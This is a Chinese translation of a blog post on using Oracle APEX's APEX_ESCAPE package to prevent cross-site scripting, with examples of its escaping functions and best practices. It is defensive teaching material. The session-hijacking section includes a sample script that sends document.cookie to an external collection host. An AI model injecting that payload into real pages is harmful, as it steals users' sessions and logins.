原文地址: https://www.paraguayandev.com/apexescape-proteges-tus-aplicaciones-oracle-apex-contra-xss # APEX_ESCAPE:保护你的 Oracle APEX 应用免受 XSS 攻击 ![APEX_ESCAPE: ¿Proteges tus aplicaciones Oracle APEX contra XSS?](https://www.paraguayandev.com/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1768484528976%2F2dfb436f-9481-4f3c-8b9c-e073d52fe861.jpeg&w=3840&q=75) 当我们在 Oracle APEX 中开发应用时,通常专注于业务逻辑、用户体验和性能。然而,有一个关键方面经常被忽视,直到为时已晚:安全性,特别是防止跨站脚本(XSS)。 ## 什么是 APEX_ESCAPE? ![pienso 🤔](https://i.pinimg.com/1200x/49/18/10/491810e4355bcbff66d5e4728804d2b0.jpg) APEX_ESCAPE 是 Oracle APEX 提供的一个 PL/SQL 包,允许在将数据展示到用户界面之前转义特殊字符。 基本上,它将可能危险的文本转换为安全的文本,以便在 HTML、JavaScript 或 URL 中显示 *。* 这样可以防止恶意用户注入诸如以下代码: ```html <script>alert('hackeado')</script> ``` 并且该代码在其他用户的浏览器中执行。 ![XSS 示例](https://cdn.hashnode.com/res/hashnode/image/upload/v1768485449453/ad048d3c-93b2-4709-9639-da918f55c37f.png) ## 为什么它如此重要? Oracle APEX 大量处理用户输入的数据:页面项、表单、评论、参数、以及来自表格的数据。如果这些值不受控制地显示,攻击者可以利用它们来: - 窃取会话 - 以其他用户身份执行操作 - 修改界面 - 暴露敏感信息 APEX_ESCAPE 是防御 XSS 的第一道防线之一。 ## 最常用的 APEX_ESCAPE 函数 ### 1. APEX_ESCAPE.HTML 转义文本以便在 HTML 中安全显示。 ```sql APEX_ESCAPE.HTML(:P1_COMENTARIO) ``` 将 `<` 转换为 `&lt;`,`>` 转换为 `&gt;`,`"` 转换为 `&quot;`。 可以通过以下查询测试效果: ```sql select APEX_ESCAPE.HTML('< > " ') escap from dual; ``` 理想用于:报表、HTML 区域、动态标签。 ![HTML 转义示例](https://cdn.hashnode.com/res/hashnode/image/upload/v1768486632715/5b99a2d4-969f-452d-b3aa-504dd225dd64.png) ### 2. APEX_ESCAPE.HTML_ATTRIBUTE 专为插入到 HTML 属性中的值设计。 ```sql APEX_ESCAPE.HTML_ATTRIBUTE(:P1_TITULO) ``` 通常在以下场景中使用: ```html <input type="text" value="&P1_TITULO."> ``` ### 3. APEX_ESCAPE.JS_LITERAL 转义将要在 JavaScript 代码中使用的值。 ```sql APEX_ESCAPE.JS_LITERAL(:P1_MENSAJE) ``` 在动态拼接脚本时至关重要。 ## 示例 假设用户保存了以下评论: ```html <b>Hola</b><script>alert('XSS')</script> ``` 如果不转义直接显示,脚本会在浏览器中执行。但如果使用了 `APEX_ESCAPE.HTML`,浏览器会安全地显示文本。 ## XSS 会话劫持示例 攻击者可能会注入类似以下的脚本: ```javascript <script> fetch('https://sitio-externo/collect?c=' + document.cookie); </script> ``` 这将窃取用户的会话 cookie 并发送到外部服务器。在基于 cookie 认证的 APEX 应用中,这可能是灾难性的。 ## 何时应该使用 APEX_ESCAPE? 黄金法则是:只要显示你无法 100% 控制的动态数据时都应使用。特别注意: - HTML 区域 - 动态 PL/SQL - 动态 JavaScript - 手动生成的链接 - htp.p、htf.print、sys.htp ## APEX 不会自动转义吗? APEX 确实在很多声明式组件中自动转义(如经典和交互式报表、标准项),但在以下情况不会: - 使用 PL/SQL - 手动生成 HTML - 构建动态 JavaScript - 在列中禁用转义 ## 最佳实践 1. 在显示时转义,而非存储时 2. 根据上下文(HTML、JS、URL)使用合适的函数 3. 不要盲目信任自动转义 4. 检查遗留代码 5. 结合验证和访问控制 ## 结论 APEX_ESCAPE 不仅仅是一个工具包,它是开发安全的 Oracle APEX 应用的关键。掌握它的使用能让你: - 避免 XSS 漏洞 - 保护用户数据 - 遵循安全最佳实践 - 睡得更安稳 如果你使用 APEX 但还未充分运用 APEX_ESCAPE,现在是将其纳入开发标准的最佳时机。